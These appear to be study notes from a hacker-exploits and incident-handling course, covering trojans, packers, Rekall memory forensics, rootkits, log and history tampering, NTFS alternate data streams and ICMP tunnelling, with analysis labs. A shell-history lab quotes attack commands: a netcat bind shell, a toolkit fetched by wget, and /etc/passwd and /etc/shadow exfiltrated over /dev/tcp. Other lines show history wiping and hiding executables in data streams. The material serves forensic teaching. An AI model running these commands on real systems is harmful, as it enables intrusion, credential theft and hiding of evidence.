**5) 504.5 - Computer & Network Hacker Exploits, Part 4 quick notes**

504.5 - Computer & Network Hacker Exploits, Part 4  
  
  
1. App-Level Trojan Horse backdoor Suites  
- allow for the complete control of a victim system remotely across the network.  
- client-server architecture.  
- very popular and many examples:  
Poison Ivy, VNC (realvnc.com), Dameware (commercial), Sub7, Lots of others such as BlackShades and GhostRAT.  
  
- attackers can trick victim into running tool.  
- or attackers can install it themselves.  
- payload option in Metasploit.  
  
Don't fall for Scareware that your system is compromised!  
  
  
wrappers and Packers:  
- wrap a backdoor tool around some other application.  
- create a Trojan Horse executable.  
• Also known as “Binders”  
• Example: Wrap nc.exe into an interactive birthday card  
• Built into many backdoors (i.e., Poison Ivy)  
• Metasploit msfvenom  
• Can wrap into .VBS or NBA for macros in Word and Excel with exe2vba.rb and exe2vbs.rb  
- The Veil toolkit uses some of these techniques to bypass AV!!!!  
- SET’s default payload generation also does this  
  
  
Windows anti-reverse engineering for Executables:  
- For thwarting Windows reverse engineering of malicious code, attackers frequently use packers.  
- Originally focused merely on compression of executables  
• But, limits string searches and direct disassembly  
— Gives attacker more obscurity  
  
Dozens of different packing algorithms and tools  
UPX is the most popular, available at http://upx.sourceforge.net  
Yoda  
Themida  
Exe32pack  
Many more listed at http://enwikipedia.org/wiki/Executablecornpression  
Commercial ones as well (Thinstall, PECompact, PEBundle, etc.)  
  
Defense: Unpacking Windows Executables  
• To thwart these, researchers use unpackers  
— Or, use a plug-in for a debugger  
• Ollydbg — Very popular free Windows debugger  
• Dozens of unpacking scripts run as plug-ins for Ollydbg at:  
— www.openrce.org/downloads/browse/OllyDbg\_OllyScripts  
— That whole site (openrce.org) contains amazingly helpful stuff for reverse engineering malware!  
• If a custom packing/obscuring algorithm is used, the researcher might need to create a custom unpacker using code from the malware specimen under analysis; this could take a lot of time.  
  
- Immunity Debugger - very popular free Windows debugger.  
  
  
  
5.3 Memory Analysis:  
FOR MEMORY DUMPS!!!!!!!  
  
Investigators can use several tools to analyze memory dumps from Windows machines to determine attackers’ actions, such as executing malicious  
application-level Trojan Horse backdoors.  
• First, you’ll need a memory dump  
— Can be generated using a variety of utilities, including Mandiant’s Memoryze MemoryDD.bat, HBGary’s fastdump, Matthieu Suich's win32dd, winpmem, and ManTech’s mdd  
  
• Volatile Systems’ Volatility framework  
- Free, open source, very feature rich and useful  
— A modular tool written in Python  
- https://code.google.com/p/volatility  
  
Google’s Rekall  
— Free  
\* http://wwww.mandiant.com/products/free\_software/memoryze/  
- We focus on Rekall for analysis  
  
- FTK  
  
  
• Some important Rekall modules include:  
- imageinfo: Shows the date and time the memory dump was captured  
— netstat: Lists open sockets (PID, Port, Protocol, and when it was opened)  
— pstree: See a full process tree for a memory image  
— pslist: Lists running processes (PID, name, and Parent PID)  
— dillist: Lists the DLLs loaded by a process, as well as the command-line invocation of a process  
— netstat: Shows all active listening UDP and TCP ports and connections  
— ifiescan: Lists the files that each process had open  
— pedump: Dumps code associated with running process into executable file  
— modules: Lists loaded modules from the dump, including drivers and SYS files  
  
• Numerous other modules as well, included with Rekall, and available as  
  
Numerous other modules are available for download and most of them are listed at the URL on the slide separate downloads:  
— http://www.rekall-forensic.com/  
  
  
sec504@slingshot:~$source /home/tools/rekall/bin/activate  
  
$rekal -f /home/tools/504\_memory\_ex/memimage.dd  
  
  
Rekal: Viewing Network Connections:  
- using Rekall's 'netstat' module, we can display a list of active network connections at the time the memory dump was acquired:  
  
• Using Rekall’s “netstat” module, we can display a list of active network connections at the time the memoiy dump was acquired:  
[1] memimaqe.dd hh:mm:ss> netstat  
• Output is similar to the following command on a live Windows machine:  
C:\> netstat —nao | find “ESTABLISHED”  
  
  
Viewing Processes:  
• Rekall’s “pslist” module displays a list of running processes at the time the image was acquired  
[1] memimagedd hh:mm:ss> pslist  
  
• Output is similar to the following command on a live Windows machine:  
C:\> wmic process get name, parentprocessid, processid  
  
  
Rekall: DLLs and Command Line  
Use Rekall’s “dilhist” module to display a list of DLLs loaded by a process, as well as the commandline invocation of a running process:  
[1] memimage.dd hh:mm:ss> dlllist pid=[pid\_num]  
  
Output is similar to the following commands on a live Windows machine:  
:\> tasklist /m /fi “pid eq [pid]”  
C:\> wmic process where processid=[pid] get commandline  
  
  
c:\nc.exe -n 192.168.49.145 6000 -e c:\ncrelay.bat  
  
For the list of DLLs loaded by every running process, we can use the following:  
C:\> tasklist /m  
For the list of DLLs loaded by a specific process, we can execute the following:  
C:\> tasklist /m /fi “pid eq [pid]”  
  
  
Lab: Windows Attack:  
  
Using Rekall to analyze the image in /home/tools/504\_memory\_ex/memimage.dd, determine what the attacker was doing on the compromised system by answering the following questions:  
1. Which processes are communicating with other machines on the network?  
2. Which processes did the attacker likely run?  
3. Is the attacker using the machine to pivot, and if so, how, and to which other systems is he/she pivoting?  
4. Which suspicious process seems to be the root of all other suspicious activity on the compromised system?  
5. Which builtin windows commands would you use if you were doing the same analysis on a live Windows system instead of a memory dump file?  
  
  
:Hint: first Populate This Connection Table - Lab: Windows Attack  
As a hint, you might find it useful to start by populating the Connection Table provided in the slide. When  
this table is filled, you will have answered Question I and significantly started Question 2.  
PID     PPID     Name         Remote IP         Remote Port  
  
  
  
---------------------------------------------------  
(for the table above)  
- use Rekall's 'netstat' module.  
- or in Windows:  
c:\>netstat -nao | find "Established"  
  
- get the parent process ID in Rekall:  
>pslist  
or Windows:  
c:\>wmic process get name, parentprocessid, processid  
  
  
  
  
Another Hint: Then Populate this process table  
PID     PPID         Name                 Command-Line Invocation  
  
  
  
Start by copying over the information for processes you have on the Connection Table, and then use Rekall to analyze processes and fill in the blanks, especially the PPID and Command-Line Invocation fields.   
You should also look for other, related processes the attacker might have invoked.  
Pay special attention to process relationships indicated by the Parent Process ID (PPID).  
  
  
Identify Processes by Connection (I):  
  
- Determine which processes are communicating on the network using the Rekall “netstat” module  
- Use the Rekall “pslist" module to cross ..reference the PIDs associated with established network connections with the list of running processes to  
determine the name of each process associated with each connection.  
- Also record the Parent PID of each process, because you’ll need it soon (PPID is the fourth column of Rekall process output)  
  
Also run the below in Windows:  
C:\> wmic process get name ,parentprocessid,processid  
  
Determine Command-Line Invocations:  
  
• Next, we have to dive deeper and determine each process’s command-line invocation using RekaWs “dlllhist” module, paying particular attention to the Netcat instances  
• For each process in our table, run:  
[1] memimage.dd hh:mm:ss> dlllist pid=[pid\_num]  
  
>dlllist pid=1744  
  
For Question 5, the rough equivalent of this command on a live Windows machine is:  
C:\> wmic process where processid=[pid] get commandline  
C:\> tasklist /m /fi “pid eq [pid]”  
  
On a live Windows machine, the commands you’d use to pull this same kind of information are:  
C:\> wmic process where processid=1896 get name, parentprocessid,processid  
  
Or, if you want to more closely mimic the Rekall command used with Linux grep, you could run:  
C:\> wmic process get name,parentprocessid,processid | find “2124”  
  
And, to get the command-line invocation information, you could run:  
C:\> wmic process where processid=2124 get commandline  
  
  
cmd.exe /c for /L %i in (1,1,255) do @ping -n 1 192.168.49.%i  
  
(1,1,255) means Start with 1, step 1, up to 255.  
  
  
Process Map:  
2516 (explorer.exe)  
|  
v  
3600 (hot\_pics.exe)--------------> 1428(metsvc.exe) -----> 496(services.exe)  
|          |    |                        |  
v          |    v                        v  
1744(nc.exe)  |    408(nc.exe)                    1428(metsvc.exe)  
          v                            |  
         2132(cmd.exe)                    v  
                                3772(metsvc-server.exe)  
  
  
#######################################################################  
  
R00tKit techniques:  
• Rootkits are a collection of tools that allow an attacker to:  
— Keep backdoor access into a system  
- Mask the fact that the system is compromised  
  
• These goals are accomplished by altering the operating system itself  
• With these capabilities, rootkits are classic examples of Trojan Horse software and very effective backdoors  
  
• Components of rootkits have been discovered for other systems  
— Several UNIX/Linux rootkits at www.packetstormsecurity.org/UNIX/penetrafion/rootkits  
• Solaris, B$D, AIX, HP-UX, IRIX  
— Numerous Windows rootkits used by cyber criminals are also available  
— Mobile rootkits are just now getting traction  
• Rootkits are increasingly being bundled with spyware and bots  
  
  
  
Windows User-Mode Rootkit DLL Injection and API Hooking:  
• EXEs and DLLs are commonly used methods for packaging code in Windows  
— EXEs run, and utilize shared DLLS to get stuff done  
• On Windows, anyone with the Debug right can inject a DLL into a running process ...  
• ... and start it running by creating a thread in the target process.  
• Hook APIs to change programs’ views of running processes, open ports, and the file system.  
  
  
Preparation  
— Don’t let attacker get root in the first place  
- Harden and patch the system thoroughly.  
  
  
Identification  
— Detection can be quite difficult, but some methods are available  
• ls versus “echo \*“. Output should include the same files  
• Nice, but not terribly practical  
• There are other ways we can catch the system telling a lie, which we cover after the kernelmode rootkit discussion  
  
• Most rootkits do not store the password as a string, so “strings” on /bin/login will not work  
• Analysis of /bin/login by automated tool to look for embedded password  
  
  
Containment  
— Analyze other systems’ changes made by discovered rootkits  
• Eradication  
— Wipe drive, and then reformat drive  
— Reinstall operating system, applications, and data  
— Make sure you apply all patches  
— You should change all admin/root passwords on victim and related  
systems  
• Recovery  
- Monitor system very carefully  
  
  
Kernel-Mode Rookits:  
• Kernel-mode rootkits are a big area of focus  
• By operating in the kernel, the allacker has  
complete control of the target machine  
— Hidden processes  
— Hidden files  
— Hidden network use (sniffing and port listeners)  
- Execution redirection  
  
  
In general, there are (currently) five different methods for manipulating the kernel being publicly discussed  
1. Loadable kernel modules (UNIX) and device drivers (Windows) --> (the most popular method today)  
2. Altering kernel in memory  
3. Changing kernel file on hard drive  
4. Virtualizing the system  
• Each available on Linux and Windows  
  
  
Method 3) Changing Kernel File on Hard Drive  
• Instead of altering live kernel in memory, attackers could overwrite kernel file on the hard drive  
• On Linux, the file is vmlinuz  
— Whitepaper on this technique at http://www.phrack.org/issues.html?issue=6o&id=8#article  
• On Windows, kernel functionality is in ntoskrnl.exe and win32k.sys files  
— Attacker must foil NTLDR integrity checks of these files  
— Disable them or...  
— Make them lie (alter their code)  
— Bolzano and FunLove viruses did this in 1999, but nothing much since then.  
  
  
Virtualizing the System:  
Dino A. Dai Zovi is working on a similar hardware-based rootkit called Vitriol for Intel VT-x technology  
http://www.theta44.org/software/HVM\_Rootkits\_ddz\_bh-usa-o6.pdf  
  
  
Rootkit Examples:  
  
Rooty  
• By TurboBorland  
— Of Chaotic Security  
• Works on 2.6+ and 3.0+ Linux kernels  
• 32- and 64-bit support  
• Uses driver support/loadable kernel modules  
• Like many rootkits, it uses insmod to insert the various rootkit components  
• Hides by modifying the results listed by lsmod  
• Modifies the System Call Table  
• Real-time hiding from strace  
- very scary.  
  
  
Avatar ROotkit:  
• Uses driver infection technique twice  
— Once to bypass Host Based Intrusion Detection (HIDS)  
— The second is for persistence  
• Uses the bootkit method of infection and persistence to bypass driver signing requirements  
• An interesting mixture of user-mode and kernel-mode techniques  
• Attempts to detect whether the target system is a VM  
• If not installed as Admin, it will automatically attempt local privilege escalation  
• Infects a random driver from a list  
— Does not infect the same driver for every system  
• It is able to infect system drivers without altering their size  
• Custom encryption used for Command and Control (C2)  
  
  
You can find it here:  
http://www.welivesecurity.com/2013/05/01/mysterious-avatar-rootkit-with-api-sdk-and-yahoo-groups-for-cccommunication/  
  
  
Alureon/TDL Rootkit Family:  
Alureon is one of the most powerful rootkits in widespread use for Windows today  
— Used to hide spyware, bots, and other maiware  
— Original version called “TDSS”.,, then TDL1 followed by TDL2... and now Alureon — an iterative loop growing more powerful  
  
• Kernel-mode rootkit  
— Configuration file and some DLLS present in user mode, but hidden  
• Focus is on file hiding and dodging antivirus and rootkit detection tools  
• For installation, Alureon alters Windows device drivers associated with the file system  
— atapi.sys or iastor.sys  
- Alters driver, but changes system so that driver signature check always passes.  
  
  
FOntanini Rootkit (By Matias Fontanini).  
  
  
Kernel-Mode Rootkit Defenses - Configuration Lockdown  
• All of these attacks require the bad guy to have superuser privileges (root or Administrator)  
• Harden the box by hand, or.  
• Use a good security template  
• The Center for Internet Security (CIS), in conjunction with NSA, NIST, and others, has developed a set of templates for Win, Lin, Solaris, HP-UX, Cisco Routers, and Oracle DBs  
— http://www.cisecurity.org  
• They have scoring tools as well.  
  
  
  
Defenses — LinwdUNIX Rootkit Detection Tools  
• Try to catch inconsistencies introduced by a roothit on a system  
• Chkrootldt, free from www.chkrootkit.org  
— Checks for over 50 different rootkits, both user mode and kernel mode  
— Runs on Linux. freeBSD, OpenBSD. NetBSD, Solaris, HP-UX, True64, and BSDI  
— Numerous tests:  
• Look for alterations in binaries and check promiscuous mode  
• Check link count — each directorvs link count should equal two plus the number of directories contained  
inside — some rootkits mess this up  
• Rootkit Hunter, free at http ://www.rootkit.nl/projects/rootkit\_hunter.html  
— Looks for 55 rootkits, both user mode and kernel mode  
— Runs on Linux, FreeBSD, OpenBSD, AIX, and Solaris  
— Also several tests, including rnd5 hashes of known evil binaries, comparison of ps process list  
vs. /proc, and default rootkit files  
• OSSEC includes ‘tRootcheck” with similar features at www,ossec.net  
• FALSE POSITIVES POSSIBLE!  
  
Additional Windows RootKit Detectors  
- other tools use similar techniques to the rootkit Revealer  
- Sophos Anti-RootKit  
http://www.sophos.com/products/free-tools/sophos-anti-rootkit.html  
- McAfee RootKit Detective  
http://www.mcafee.com/us/downloads/free-tools/stinger.aspx  
- RootKit REvealer, by Mark Russinovich  
http://www.microsoft.com/technet/sysinternals  
  
It's always nice to have a second (and third) opinion!  
  
  
Defenses: File Integrity Checking Tools  
• Look for changes to critical system files  
• File integrity checking tools help  
— Although a well-designed kernel-mode rootkit can trick the file integrity checker using execution redirection  
— Still, if the attacker makes any unmasked changes, you’ll spot him  
• Tripwire is a classic  
— Also looks for registry modifications  
• OSSEC is also very good  
- Runs on Linux, UNIX, Mac OS X, and Windows  
— Freely available at www.ossec.net  
• Other tools include:  
— Ionx Data Sentinel  
  
  
  
Network Intelligence/Forensics:  
• A lot of rnalware tries hard to hide on the end system  
— Morphing and kernel hacking  
• ... but its use and propagation have definite patterns that can be observed on the network  
— Strange communication pairs (scans, client - >client, server-> server, server ->client?)  
— Security Onion is an outstanding Network Forensic Distro Network-level intelligence and forensics can help detect such behavior early  
  
Get the Security Onion now:  
https://code.google.com/p/security-onion/  
  
Nifty auto-detection and throttling via network-based IPS:  
- NetWitness, fireEye, Sourcefire, TippingPoint, ForeScout, etc.  
  
  
  
Kernel-Mode Rootkit Defenses: Contain, Erad, and Recov  
• The containment, eradication, and recovery steps for kernel-mode rootkits involve the same techniques used for user-mode rootkits  
— Containment  
• Analyze other systems’ changes made by discovered rootkits  
Eradication  
• Wipe drive, and then reformat drive  
• Reinstall operating system, applications, and data  
• Make sure you apply all patches  
• You should change all admin/root passwords on victim and related systems  
— Recovery  
• Monitor system very carefully  
  
RITA - finding bads things on your network using Free and Open Source tools!  
(from BlackHillsInfoSec company).  
  
####################################################################  
  
5.5 Covering Tracks in Linux and Unix:  
  
  
Hiding Files in UNIX  
• The easiest (and very effective) way to hide files is to simply name them something like ”.“ or ”..”  
— Note: There is a space after those dots  
• Or, just name a file “...“ or even ” “(that’s a space!)  
• For example:  
# ls -a  
. .. test.txt files  
# echo hideme > “.."  
# ls —a  
. .. .. test.txt files  
Of course, you can do nastier stuff using rootkits.  
  
  
Where Attackers Put Hidden UNIX files and Dirs  
• In addition to using dot names, attackers want to put files in a place where they won’t be noticed  
• Popular locations for hidden stuff include:  
— /dev  
— /tmp  
— /etc  
— Other complex components of the file system  
• /usr/local/man  
• /usr/src  
• Numerous others  
  
  
Log Editing:  
Editing UNIX log files  
  
• Main log files can be found by viewing /etc/syslog.conf  
— Attacker might check this to find out where the logs are located  
— Or just run a script that guesses where the logs are  
• Of particular interest in Linux are:  
— /var/log/secure  
— /var/log/messages  
— Logs of particular service that were exploited to gain access, such as:  
• /var/1og/httpd/errorjog  
• /var/log/httpd/aceessJog  
• These log files (usually in /var/log) are written in ASCII  
• They are often edited by hand using a text editor or script  
— If the log file is very large, they usually use a perl script to edit it  
  
  
Ex:  
# find .  -name \\*.log  
# find .  -name \\*.log -ls | sort -r -n -k7  
# grep this\_word this\_file.txt   
  
  
Don't forget Shell History:  
Attackers also delete or edit their shell history files  
— A list of the most recent N commands  
• 500 by default in bash, although 1000 on some Linux distros  
— ~/.bash\_history, for example  
— Written in ASCII, and can be edited by hand with the permissions of the user or root  
— Attackers remove suspicious commands  
— Some even add commands to implicate some other user in the attack (divert attention)  
- The default history file size is 500 commands in bash, although some Linux distros increase this to 1000 (including RedHat).  
  
  
Editing Shell History - A Problem:  
• Shell history is written when the shell is exited  
• When editing shell history, the command used to invoke the editor will be placed in the shell history file  
• The attacker could edit the file, exit the shell, start another shell, edit the history file again to remove it   
...but it will be added again!  
— A chicken and the egg problem  
• Solutions  
1)Kill the shell, so that it cannot write the most recent shell history, including the command used to edit it  
# kill -9 [pid] ...or...   #killall -9 bash  
  
2) Change the environment variable HISTSIZE (for bash) to zero  
# unset HISTFILE then kill -9 $$  
  
  
Account Entries in UNIX editing:  
• utmp: file contains info about currently logged in users  
— Default location on Linux: /var/run/utmp  
• wtmp: File contains data about past user logins  
- Default location on Linux: /var/log/wtmp  
• btmp: File contains bad login entries for failed login attempts  
— Default location on Linux: /var/log/btmp, but often not used  
• lastlog: File shows login name, port, and last login time for each user  
— Default location on Linux: /var/log/lastlog  
  
• utmp, wtmp, and btmp are not stored in ASCII  
— They are stored as utmp structures  
• lastlog stored in different manners on various systems  
• They can be edited only using specialized tools:  
— remove.c, by Simple Nomad  
• Removes entries from utmp, wtmp, and lastlog  
— Numerous others, including wtmped.c, marry.c, cloak.c, logwedit.c, wzap.c, etc.  
— All available at www.packetstormsecurity.org/UNIX/penetration/log-wipers  
  
  
Lab: Shell History Analysis  
  
Analyzing a Shell History File:  
• On the course U$B, there is a .bash\_history file located in the Linux directory from the root account of a compromised system  
• It’s also located inside the Linux VMware image, at /home/tools/history\_exercise/.bash\_history  
  
In this lab, we will:  
— Open this history file in an editor  
— Analyze its contents to determine the attacker’s actions on the machine  
— If you have trouble interpreting the attacker’s tactics, feel free to replicate them on your own Linux VMware system to get a better feel for the attacker’s actions.  
  
  
Initial Action on the System:  
• Open the histoiy file:  
$ gedit /home/tools/history\_exercise/.bash history  
• When the attacker first gets access to the root account, he runs the following commands:  
whoami  
id  
unname -a  
uname -a  
nc  
• What is the purpose of each command?  
— Some possible answers follow this section  
— Try to answer each question first, and review your answers at the end  
  
  
File System Interactions:  
• Next, the attacker executes the following commands:  
mkdir /etc/initd  
cd /etc/initd  
wget 1O.1O.1O.18/kit.tgz  
tar xfvz kit.tgz  
my nc init  
• What is the purpose of each command?  
  
Launching Processes (I):  
• Now, the allacker gets more serious:  
echo “while :; do echo “Started”; /etc/initd/init —l —p 8080 —e /bin/sh; done” > init.conf  
nohup init.conf &  
nohup ./init.conf &  
chmod 555 init.conf  
nohup ./init.conf &  
lsof -Pi | grep 8080  
• What is the purpose of each command?  
  
  
Launching Processes (2):  
• finally, the attacker accesses some important files and another system:  
cat /etc/passwd > /dev/tcp/10.10.10.18/443  
cat /etc/shadow > /dev/tcp/1O.1O.1O.18/443  
./tcpdump -n -s0 -w init.out port 80 &  
vi /var/log/messages  
netstat —nat  
ssh tom@1O.11.12.15  
exit  
  
• What is the purpose of each command?  
  
REMEMBER: turn on time stamping in Linux and MAC for when you check the logs!  
  
Lab: Shell History  
Some Additional Questions   
• Was the attacker a human or a script?  
• What specific files should the investigator look for?  
• What other systems has the attacker likely compromised?  
  
  
Potential Answers (1)  
whoami  
— Checking to see which account the attacker has gained control of on the machine  
Id  
— Verifying the privileges of the current account  
unname —a  
— Trying to check the kernel version of the system, but with a typo in the command  
uname —a  
- Re-running the command, but without the typo  
nc  
- checking to see whether Netcat is installed.  
  
Potential Answers (2)  
mkdir /etc/initd  
— Making a directory that will blend in  
cd /etc/initd  
- Moving into that directory as a base of operations  
wget 1O.1O.1O.18/kit.tgz  
— Puffing down a package from io.io.io.i$, likely another compromised machine  
tar xfvz kit.tgz  
— Opening the contents of the kit  
mv nc init  
- The kit must have included Netcat, which the attacker renames “init” to camouflage it.  
  
  
Potential Answers (3)  
echo “while :; do echo Started; /etc/initd/init —l —p 8080 -e /bin/sh; done" > init.conf  
— Putting an autostart loop together for netcat listener   
nohup init.conf &  
— Attempting to run the loop with nohup to survive logoff ... forgot to specify the path  
nohup ./init.conf &  
— Now, attacker specifies path, but script isn’t executable  
chmod 555 init.conf  
- changing permissions to read-execute  
nohup ./init.conf &  
- finally running backdoor while loop  
lsof -Pi | grep 8080  
- verifying backdoor listener on TCP port 8080  
  
  
Potential Answers (4)  
cat /etc/passwd > /dev/tcp/1O.1O.1O.18/443  
cat /etc/shadow > /dev/tcp/1O.1O.1O.18/443  
— Exfiltrating /etc/passwd and /etc/shadow using /dev/tcp  
./tcpdump -n -s0 -w init.out port 80 &  
— Running tcpdump to grab traffic to and from port 80 into file called “init.out,” with a snaplength of zero to ensure full packet contents are stored  
vi /var/log/messages  
— Editing the logs  
netstat —nat  
— Where do we have current TCP connections?  
ssh tom@10.11.12.15  
— Connecting to 10.11.12.15 via ssh  
exit  
— Ending the session  
  
  
  
Some Additional Answers  
• Was the attacker a human or a script?  
— Likely a human, due to the typos and corrections entered in real-time.  
• What specific files should the investigator look for?  
— kit.tgz, init, init.conf, and init.out  
• What other systems has the attacker likely compromised?  
— 10.10.10.18 — hosting the kit.tgz file, and the place where /etc/passwd and /etc/shadow were sent  
— Possibly 10.11.12.15, as tom account  
.  
  
  
5.6 Covering Tracks in Windows:  
  
Hiding Files in NTFS  
If system is running NTFS, alternate data streams are supported  
• Multiple streams can be attached to each file or directory  
• Attacker’s files can be hidden in a stream behind normal files on the system  
— Such as notepad.exe or word.exe (or anything else!)  
  
Use the type command built into Windows  
C: \> type hackstuff.exe > notepad.exe:stream1.exe  
Or, use the cp program from the NT Resource Kit  
C: \> cp hackstuff.exe notepad.exe:stream1.exe  
  
• To get data back, it can be copied out of the stream  
C: \> cp notepad.exe:stream1.exe hackstuff.exe  
• Alternatively, you can create an alternate data stream attached to a directory by simply typing:  
C: \> notepad <file\_or\_directory name>:<stream name>  
If you know a stream exists and you know its name, you can view its contents using the more command:  
C:\> more < c:\file:stream1  
  
  
  
Alternate Data Streams in NTFS:  
• The hidden file in the stream will follow the other file around through normal copying between NTFS partitions  
• On Linux machines that have connected to a Windows box with NTFS, smbclient can get data from ADSs  
• But, Windows machines prior to Vista and 2008 Server offer no built-in capability for finding or deleting a stream  
— To delete a stream, you could move the file to FAT partition, and then move it back  
— On Vista, Win2008, and Windows 7, the dir command offers the /r option for listing ADSs:  
C:\> dir /r  
• Will not show ADS behind Windows reserved filenames  
— COM1, COM2, LPT1, AUX, etc.  
  
  
  
Finding Hidden Streams:  
Use antivirus tool to find malicious code in streams (nearly all have it)  
• Many anti-spyware tools lack ADS detection functionality  
• Third-party tools for finding alternate data streams in NTFS  
— LADS by frank Hevne, at www.heysoft.de  
— Streams at http://www.microsoft.com/technet/sysinternals   
• Includes an option for deleting a stream — very useful feature!  
  
  
  
Lab: Alternate Data Streams:  
  
• Boot your Windows machine  
• Make a directory named c:\tmp (if it already exists, thaf S fine!)  
C:\> mkdir c:\tmp  
• Now, make a file in the directory:  
C:\> notepad c:\tmp\test.txt  
• Save some text in there, such as “hello!”  
• Let’s create an alternate data stream associated with the directory c:\tmp  
C:\> notepad c:\tmp\test.txt:hideme.txt  
  
• Enter text (such as “This is hidden!”), save it, and close the file.  
  
  
  
Looking for Alternate Data Streams:  
• Let’s look for the alternate data stream  
C:\> dir c:\tmp  
• Do you see it?  
• Bring up Windows file Explorer  
— Start -> Run... type explorer.exe  
— Then, look at c:\tmp and c:\tmp\test.txt  
— Do you see hideme.txt?  
• Now, bring up the file again... you must type the full path!  
C: \> notepad C:\tmp\test.txt:hideme. txt  
• It’s still there!  
  
  
Executable in Alternate Data Streams:  
• Let’s move a copy of Netcat into an alternate data stream  
C:\> type c:\tools\nc.exe > c:\tmp\test.txt:nc.exe  
— You must type in the full path, starting at c:\!!!  
— You can look for this file, as we did previously...  
• Let’s run this copy of Netcat  
  
— If you have Windows Vista, 7, or 2008 Server:  
C:\> wmic process call create c:\tmp\test.txt:nc.exe  
  
— If you have Windows XP or 2003:  
C:\> start c:\tmp\test.txt:nc.exe  
— You must do this at the command prompt! Not at the Start - Run...Taskbar  
  
• Now, type a Netcat command line, and you are rolling!  
• Bring up the Task Manager (CTRL—ALT-DEL)  
• What does the Netcat listener look like in the Process tab?  
  
  
Using LADS:  
• Now, let’s look for the alternate data stream using LADS  
• Install LADS from the course USB  
• Put it in the c:\tools\lads directory  
• Now, let’s look for some ADSs:  
C:\> c:\tools\lads\lads /S c:\tmp  
  
• If you are on Windows Vista, 7, or 200$ Server, try running “dir /r /s c:\tmp”  
• Do you see the hidden stuff?  
  
  
Let's Clean UP:  
• We should remove all of the alternate data streams we created.  
• To do this, delete the c:\tmp directory:  
C:\> del c:\tmp  
C:\> rmdir c:\tmp  
• Or, just drag the directory to the recycle bin to dispose of it.  
  
  
Log Editing in Windows:  
• In Windows, by default, event logs are stored in C: \Windows\$ystem32\winevt\Logs  
• The main event log files are:  
— AppEvent.Evtx — Application-oriented events  
- SecEvent.Evtx — Security events  
— SysEvent.Evtx — System events (readable by all users)  
• Like UNIX’s wtmp and utmp, these files are stored with a bunch of binary information and are not directly editable  
— In fact, the files are write-locked on a running Windows system   
• An attacker with Admin privileges can clear the log files  
— Use the Event Viewer, or simply delete the file  
— An all-or-nothing proposition  
• An attacker can generate so many bogus, benign logs that circular log files wrap, overwriting the important events  
— Not overly practical, and likely to be noticed  
  
  
Editing Logs with Physical Access:  
• With physical access, an attacker could boot to Linux and edit the Windows logs directly with a specialized tool  
• A Linux boot disk for editing the Windows password database (SAM) can be found at hllp://pogostick.net/~pnh/ntpasswd/  
— Be careful when using this on a machine with the Encrypting file System (EFS) on Windows XP and 2003  
— You will likely lose the EfS keys if you change the password on them  
• This program cannot be used to edit logs.  
- ...However it illustrates that similar techniques could be used against the event logs.  
  
  
Meterpreter Log File Alterations:  
• The Metasploit Meterpreter also includes a log wiping utility  
— “clearev” command  
— Clears all events from the Application, System, and  
Security logs  
• No option to specify a particular type of log or event to wipe  
• Currently, it clears the event logs completely, but could be expanded in the future to line-by-line event log editing.  
  
  
Defenses from Covering Tracks on Systems (I):  
Preparation:  
— Use a separate server for logging  
• In UNIX, syslog to a separate server  
• Windows also supports syslog, through the use of third-party tools   
Evt2sys at http://code.google.com/p/eventlog-to-syslog/  
>> Free, small, liglthveight tool that runs on Windows, reads event logs, and forwards them to syslog server  
>> Win2K, Win2003, Win 7, and Win2008 and more supported 32-bit and 64-hit versions available  
SL4NT at http://www.netal.com/sl4nt.htm  
>> Freefor6o days  
  
Kiwi’s syslog at http://www.kiwisyslog.com  
>> Free as a running application, commercial if run as a service  
Snare Agent and Log Server at http://www.intersectalliance.com/projects/SnareWindows/  
>> Windows of all kinds  
>> Commercial  
  
• User Behavioral Analytics  
• Microsoft Advance Threat Analytics  
• Rapid7 User Behavioral Analytics  
• Exabeam  
  
  
Defenses from Covering Tracks on Systems (2):  
  
• Preparation  
— Cryptographic integrity checks of log files  
• Msyslog from Core Labs  
(http://oss.coresecurity.com/projects/msyslog.html) includes remote syslog and integrity-checking capabilities  
• Identification  
— Lookfor gaps in logs  
— Look for corrupt logs  
• Cont, Erad, Recov: N/A  
  
  
5.7 Covering Tracks on the Network:  
Tunneling and Covert Channels  
  
• You can carry any protocol on top of any other protocol  
• First protocol is encapsulated inside packets for second protocol  
— Network sees only second protocol  
  
• Example:  
— X Windows over SSH  
— IP inside IP  
— IP over CP (the Avian Transport Protocol!)  
• RFCs 1149 and 2549  
  
  
Reverse HTTP Shells:  
  
• Will work through web proxies  
- Uses HTP GET command  
— Even supports authenticating through a web proxy with static password!  
  
  
ICMP Tunnels:  
Covering the Tracks on the NetworlclCMPTunnels  
• Numerous tools early data inside the payloads of ICMP packets  
- Ptunnel (TCP over ICMP Echo and Reply), Loki (Linux shell), ICMPSheU (Linux), PingChat (Windows chat program), ICMPCmd (Windows cmd.exe access), and more  
• Let’s focus on Ptunnel  
— Written by Daniel Stodle, available at http://www.cs.uitno/—’daniels/PingTunnel/  
— Runs on Linux or Windows  
— Carries TCP connections inside ICMP Echo and ICMP Echo Reply packets  
— Author talks about using it “for those times when everything else is blocked”  
  
Ptunnel Features:  
  
• Attacker configures Ptunnel client to listen on a TCP port, from which it grabs data and forwards to the Ptunnel Proxy  
• Attacker also configures Ptunnel client with an ultimate destination IP address  
• Client program on attacker’s machine makes a TCP connection to the chosen port on locaihost, Ptunnel client sends packets to Pthnnel proxy in ICMP payloads, and Ptunnel proxy dc-encapsulates TCP and forwards connection  
• MD5-based challenge/response authentication between client and proxy  
• Currently, no encryption between client and proxy  
  
• Ptunnel consists of two components: the Ptunnel client and the Ptunnel proxy.  
  
1) Ping request with TCP packet in payload.  
2) Rng reply with TCP response  
3) PTunnel Client received the response  
4) TCP Connection to PTunnel Proxy Established over any TCP ports on the Internet.  
  
Ptunnel consists of two components: the Ptunnel client and the Ptunnel proxy. The attacker configures the Ptunnel client to listen on a given TCP port on the localhost interface of the client machine. In addition, the attacker must configure the Ptunnel proxy, which runs on an external machine, accessible via ping packets from the Ptunnel client.   
Finally, the attacker configures the Ptunnel client with a given ultimate destination address. That destination machine can provide any TCP-based service, including HTTP or Secure Shell. Note that the Ptunnel client software is configured with this destination address, which it tells to the Ptunnel proxy for each packet that it sends.  
The attacker then runs some TCP-based client program on the attacker’s machine, directing it to connect to the localhost interface on the TCP port where the Ptunnel client is listening. The Ptunnel client takes the TCP packets, encapsulates them in ICMP Echo packets, and forwards the resulting packets to the Ptunnel proxy.  
